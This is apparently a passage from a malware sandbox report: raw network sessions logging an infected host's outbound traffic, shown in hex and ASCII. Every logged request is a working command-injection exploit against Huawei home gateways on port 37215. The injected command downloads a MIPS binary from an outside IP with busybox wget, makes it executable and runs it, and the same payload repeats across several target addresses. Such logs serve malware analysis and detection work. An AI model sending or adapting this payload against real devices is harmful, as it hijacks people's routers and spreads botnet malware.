20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.13	59994	94.120.147.144	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:52:21.987731934 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.13	37086	154.194.158.236	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:52:22.737615108 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:52:26.876625061 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:52:33.020602942 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:52:45.052612066 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:09.884557009 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:59.036545992 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.13	47146	154.194.133.67	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:52:22.737653971 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.13	38754	156.254.89.197	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:52:26.390386105 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope 